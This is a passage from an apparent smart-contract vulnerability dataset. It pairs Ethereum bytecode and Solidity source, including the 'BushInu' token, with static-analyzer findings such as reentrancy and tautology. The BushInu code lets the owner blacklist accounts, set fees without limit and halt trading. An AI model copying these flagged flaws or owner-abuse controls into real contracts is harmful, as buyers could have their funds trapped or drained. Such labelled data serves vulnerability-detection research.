16565b3360009081526007602052604080822092909255600160a060020a03851681522054611323908363ffffffff61160d16565b600160a060020a0384166000818152600760209081526040918290209390935580518581529051919233926000805160206117308339815191529281900390910190a350600192915050565b60008054600160a060020a0316331461138757600080fd5b60005460a060020a900460ff16156113eb576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b604051600160a060020a03831690303180156108fc02916000818181858888f19350505050158015611421573d6000803e3d6000fd5b506040805130803182529151600160a060020a03851692917f9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb919081900360200190a3506001919050565b6000805460a060020a900460ff16156114d1576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b336000908152600860209081526040808320600160a060020a0387168452909152902054611505908363ffffffff61160d16565b336000818152600860209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6000805460a060020a900460ff16156115cf576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b50600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b60008282111561160757fe5b50900390565b8181018281101561161a57fe5b92915050565b600160a060020a03821660009081526007602052604090205481111561164557600080fd5b600160a060020a03821660009081526007602052604090205461166e908263ffffffff6115fb16565b600160a060020a03831660009081526007602052604090205560065461169a908263ffffffff6115fb16565b600655604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206117308339815191529181900360200190a350505600696f6e2050617573656420756e74696c2046757274686572204e6f7469636500ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef436f6e7472616374205061757365642e204576656e74732f5472616e73616374a165627a7a72305820bf1ffb87fe283a30066998e9e27e25689826e09e22a55d908c5032cc02878f0e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
8,813
0x4e7ca49d65a3ca25b5fdebc630082936bade43a7
/** *Submitted for verification at Etherscan.io on 2022-02-19 */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: Unlicensed contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BushInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BushInu"; string private constant _symbol = "BUSH"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 7; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xc7025814Cde787dC02e0a7e710c78E9e8B4380cD); address payable private _marketingAddress = payable(0xc7025814Cde787dC02e0a7e710c78E9e8B4380cD); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 690000000 * 10**9; uint256 public _maxWalletSize = 2000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function swap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setmaxTx(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e14610553578063ea1644d514610599578063f2fde38b146105b9578063fc342279146105d957600080fd5b8063b0c2b561146104ce578063bfd79284146104ee578063c3c8cd801461051e578063c492f0461461053357600080fd5b806395d89b41116100d157806395d89b411461044157806398a5c3151461046e578063a2a957bb1461048e578063a9059cbb146104ae57600080fd5b80638da5cb5b146103ed5780638f70ccf71461040b5780638f9a55c01461042b57600080fd5b8063313ce5671161016f57806370a082311161013e57806370a0823114610375578063715018a6146103955780637d1db4a5146103aa5780637f2feddc146103c057600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636fc3eaec1461036057600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105f9565b005b34801561020a57600080fd5b5060408051808201909152600781526642757368496e7560c81b60208201525b6040516102379190611a24565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611a79565b610698565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b506803bd913e6c1df400005b604051908152602001610237565b3480156102da57600080fd5b506102606102e9366004611aa5565b6106af565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610237565b34801561032c57600080fd5b50601554610290906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae6565b610718565b34801561036c57600080fd5b506101fc610763565b34801561038157600080fd5b506102c0610390366004611ae6565b6107ae565b3480156103a157600080fd5b506101fc6107d0565b3480156103b657600080fd5b506102c060165481565b3480156103cc57600080fd5b506102c06103db366004611ae6565b60116020526000908152604090205481565b3480156103f957600080fd5b506000546001600160a01b0316610290565b34801561041757600080fd5b506101fc610426366004611b13565b610844565b34801561043757600080fd5b506102c060175481565b34801561044d57600080fd5b50604080518082019091526004815263084aaa6960e31b602082015261022a565b34801561047a57600080fd5b506101fc610489366004611b2e565b61088c565b34801561049a57600080fd5b506101fc6104a9366004611b47565b6108bb565b3480156104ba57600080fd5b506102606104c9366004611a79565b6108f9565b3480156104da57600080fd5b506101fc6104e9366004611b2e565b610906565b3480156104fa57600080fd5b50610260610509366004611ae6565b60106020526000908152604090205460ff1681565b34801561052a57600080fd5b506101fc610935565b34801561053f57600080fd5b506101fc61054e366004611b79565b610989565b34801561055f57600080fd5b506102c061056e366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a557600080fd5b506101fc6105b4366004611b2e565b610a2a565b3480156105c557600080fd5b506101fc6105d4366004611ae6565b610a59565b3480156105e557600080fd5b506101fc6105f4366004611b13565b610b43565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c36565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c97565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b0316148061079857506013546001600160a01b0316336001600160a01b0316145b6107a157600080fd5b476107ab81611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146107fa5760405162461bcd60e51b815260040161062390611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461086e5760405162461bcd60e51b815260040161062390611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c36565b601855565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c36565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062390611c36565b601655565b6012546001600160a01b0316336001600160a01b0316148061096a57506013546001600160a01b0316336001600160a01b0316145b61097357600080fd5b600061097e306107ae565b90506107ab816112e3565b6000546001600160a01b031633146109b35760405162461bcd60e51b815260040161062390611c36565b60005b82811015610a245781600560008686858181106109d5576109d5611c6b565b90506020020160208101906109ea9190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1c81611c97565b9150506109b6565b50505050565b6000546001600160a01b03163314610a545760405162461bcd60e51b815260040161062390611c36565b601755565b6000546001600160a01b03163314610a835760405162461bcd60e51b815260040161062390611c36565b6001600160a01b038116610ae85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b6d5760405162461bcd60e51b815260040161062390611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107ae565b610fb49190611cb2565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107ae565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a248484848461146c565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a24565b50600061121c8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061149a565b90506112dc83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137f57600080fd5b505afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611ce1565b816001815181106113ca576113ca611c6b565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a2457610a24600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611733565b6001600160a01b0389166000908152600260205260409020556115c281611792565b6115cc84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b60065460009081906803bd913e6c1df4000061164082826114bd565b82101561165d575050600654926803bd913e6c1df4000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106239190611a24565b50600061121c8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149a565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b6000806117408385611cb2565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061179c61149a565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bd565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106a9565b60006118c08385611d91565b9050826118cd8583611d6f565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ab57600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112dc8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112dc82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112dc8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4e5faeb3221b062ea5f78d15bebab750528b26798b3a1a46bd2df886f1656e664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,814
0x75189bb6accb9732079e768a6202dc2dd84b63d2
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = true; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can&#39;t be false while pausedOwnerAdmin is true */ function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event 